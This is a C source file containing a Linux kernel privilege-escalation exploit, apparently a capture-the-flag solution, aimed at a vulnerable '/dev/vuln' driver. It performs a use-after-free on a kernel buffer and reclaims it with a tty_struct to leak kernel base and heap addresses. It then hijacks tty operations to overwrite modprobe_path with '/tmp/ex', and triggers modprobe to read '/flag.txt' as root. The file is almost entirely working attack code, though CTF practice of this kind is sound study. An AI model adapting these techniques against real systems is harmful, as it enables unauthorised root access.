#include #include #include #include #include #include #define ALLOC 0x4008b900 #define FREE 0x0000b901 #define USE_READ 0x8001b902 #define USE_WRITE 0x4001b902 static int fd; unsigned long kbase, kheap, mov_qptr_rdx_rsi_ret, modprobe_path; static void die(const char *msg) { perror(msg); exit(1); } static void alloc_buf(size_t size) { if (ioctl(fd, ALLOC, &size) < 0) { die("ALLOC"); } } static void free_buf(void) { if (ioctl(fd, FREE, 0) < 0) { die("FREE"); } } static void read_buf(void *dst) { if (ioctl(fd, USE_READ, dst) < 0) { die("USE_READ"); } } static void write_buf(void *src) { if (ioctl(fd, USE_WRITE, src) < 0) { die("USE_WRITE"); } } void dump_buffer(void *buf, int len) { printf("\nDumping %d bytes.\n\n", len); for (int i = 0; i < len; i += 0x10){ printf("Addr[%03d, 0x%03x]:\t%016lx: 0x", i / 0x08, i, (unsigned long)(buf + i)); for (int j = 7; j >= 0; j--) printf("%02x", *(unsigned char *)(buf + i + j)); printf(" - 0x"); for (int j = 7; j >= 0; j--) printf("%02x", *(unsigned char *)(buf + i + j + 8)); printf(" |"); for (size_t j = 0; j < 0x10 && i + j < len; j++) { unsigned char c = *(unsigned char *)(buf +i + j); putchar((c >= 0x20 && c <= 0x7e) ? c : '.'); } printf("|\n"); } } void setup() { system("echo -ne '#!/bin/sh\ncat /flag.txt > /tmp/flag' > /tmp/ex"); system("chmod a+x /tmp/ex"); system("echo -ne '\xff\xff\xff\xff' > /tmp/executeme"); system("chmod a+x /tmp/executeme"); } int main(void) { int ptmx; char buf[0x400]; fd = open("/dev/vuln", O_RDONLY); printf("[+] open(dev/vuln) = %d\n", fd); if (fd < 0) { die("open /dev/vuln"); } puts("[+] alloc(0x400)"); alloc_buf(0x400); puts("[+] free buf"); free_buf(); ptmx = open("/dev/ptmx", O_RDONLY | O_NOCTTY); printf("[+] tty_struct = %d\n", ptmx); read_buf(buf); dump_buffer(buf, 0x50); kbase = *(unsigned long *)(buf+0x20) - (0xffffffff82285100 - 0xffffffff81000000); printf("[+] kbase = 0x%lx\n", kbase); kheap = *(unsigned long *)(buf+0x40) - 0x40; printf("[+] kheap = 0x%lx\n", kheap); mov_qptr_rdx_rsi_ret = kbase + (0xffffffff81144fa9 - 0xffffffff81000000); // mov qword ptr [rdx], rsi ; jmp 0xffffffff81eafa50 ; 0xffffffff81eafa50: ret modprobe_path = kbase + (0xffffffff82b3f600 - 0xffffffff81000000); puts("[+] change tty_struct->ops to 'mov qword ptr [rdx], rsi ; jmp'"); *(unsigned long *)(buf+0x20) = kheap + 0x300; *(unsigned long *)(buf+0x360) = mov_qptr_rdx_rsi_ret; write_buf(buf); puts("[+] change modprobe_path to /tmp/ex "); ioctl(ptmx, 0x706d742f, modprobe_path); // "/tmp" ioctl(ptmx, 0x0078652f, modprobe_path + 4); // "/ex"; puts("[+] cat flag using modprobe path"); setup(); system("/tmp/executeme"); system("cat /tmp/flag"); //getchar(); return 0; }